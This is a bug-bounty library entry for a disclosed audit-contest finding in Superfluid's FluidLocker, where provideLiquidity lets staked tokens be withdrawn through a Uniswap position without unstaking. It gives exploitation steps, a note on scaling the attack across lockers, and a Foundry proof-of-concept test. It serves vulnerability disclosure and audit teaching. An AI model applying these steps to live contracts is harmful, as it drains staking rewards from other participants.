# Staked tokens inside FluidLocker can be withdrawn without calling Unstake

FluidLocker.provideLiquidity lacks getAvailableBalance check, letting staked tokens be pulled into LP and withdrawn tax-free while staking rewards keep accruing.

- Payout: Audit contest
- Severity: high
- Program: Superfluid
- Found by: 0x73696d616f
- Disclosed: 2025-06-02
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-06-superfluid-locker-system-judging/issues/177
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-06-superfluid-locker-system%3AH-1
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:sherlock sev:high tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:reward-distribution

**Target:** FluidLocker staking/LP contract
**Root cause:** provideLiquidity does not validate the amount against getAvailableBalance(), so tokens already counted as staked can be moved into a Uniswap position.
**Steps:**
1. Call `aliceLocker.stake(fundingAmount)` to stake all locker tokens.
2. Call `aliceLocker.provideLiquidity{value: fundingAmount/(2*9900)}(100e18)` using the staked tokens, moving them out of the locker.
3. `vm.warp` past `TAX_FREE_WITHDRAW_DELAY()` (6 months).
4. Call `withdrawLiquidity(positionTokenId, positionLiquidity, amount0ToRemove, amount1ToRemove)` to pull tokens back to owner.
5. Observe `getStakedBalance()` still equals fundingAmount while `getAvailableBalance()` reverts.
**How found:** Code review of FluidLocker accounting: noticed provideLiquidity lacked the getAvailableBalance() guard that unstake paths use, hypothesizing staked balance and actual token balance could diverge.
**Exploitation:** Locker owner stakes tokens to accrue reward points, then reuses the same staked tokens as liquidity via provideLiquidity, waits out the tax-free delay, and withdraws the LP position to recover tokens while the locker still records them as staked, harvesting unearned staking rewards.
**Escalation:** Repeated across lockers inflates free points, capturing majority share of future staking reward distributions.
**Insight:** When a contract tracks a 'staked' balance separately from token custody, audit every function that moves tokens out (LP provision, transfers, swaps) for a getAvailableBalance-style guard; divergence between accounting balance and real balance is the bug.

## Proof of concept (copied exactly from the original report)

**Foundry test withdrawing staked tokens without unstake**

```
function testWithdrawWithoutUnstake()
    external
    virtual
    {
        uint fundingAmount = 100e18;
        // Set up Alice's Locker to be functional
        // i. e. not revert due to "lack of funds", "no LP pool units", "no staker pool units", etc.
        _helperFundLocker(address(aliceLocker), fundingAmount);
        _helperLockerStake(address(bobLocker));
        _helperLockerProvideLiquidity(address(carolLocker));

        vm.startPrank(ALICE);
        aliceLocker.stake(fundingAmount); //Stake all avaialble tokens
        aliceLocker.provideLiquidity{ value: fundingAmount / (2 * 9900) }(100e18); //Provide liquidity using the staked tokens
        vm.stopPrank();
        //warp forward to tax free withdrawn time
        vm.warp(block.timestamp + FluidLocker(payable(address(aliceLocker))).TAX_FREE_WITHDRAW_DELAY());

        //alice withdraw liquidity and closes position
        uint256 positionTokenId = _nonfungiblePositionManager.tokenOfOwnerByIndex(
            address(aliceLocker), FluidLocker(payable(address(aliceLocker))).activePositionCount() - 1
        );
        (,,,,,,, uint128 positionLiquidity,,,,) = _nonfungiblePositionManager.positions(positionTokenId);
        (uint256 amount0ToRemove, uint256 amount1ToRemove) = _helperGetAmountsForLiquidity(_pool, positionLiquidity);
        vm.prank(ALICE);
        aliceLocker.withdrawLiquidity(positionTokenId, positionLiquidity, amount0ToRemove, amount1ToRemove);

        // Check that most of contract's fluid tokens are moved to Alice's address
        // Despite us never calling unstake()
        assertApproxEqAbs(fundingAmount,
            _fluidSuperToken.balanceOf(address(ALICE)),
            fundingAmount * 5 / 100 // 5% tolerance
        );
        assertApproxEqAbs(0,
            _fluidSuperToken.balanceOf(address(aliceLocker)),
            fundingAmount * 5 / 100 // 5% tolerance
        );
        // Check that aliceLocker still believes that 100e18 tokens are staked inside it
        assertEq(aliceLocker.getStakedBalance(), fundingAmount);
        // Check that getAvailableBalance reverts because locker balance is less than staked amount
        vm.expectRevert();
        aliceLocker.getAvailableBalance();
    }
```

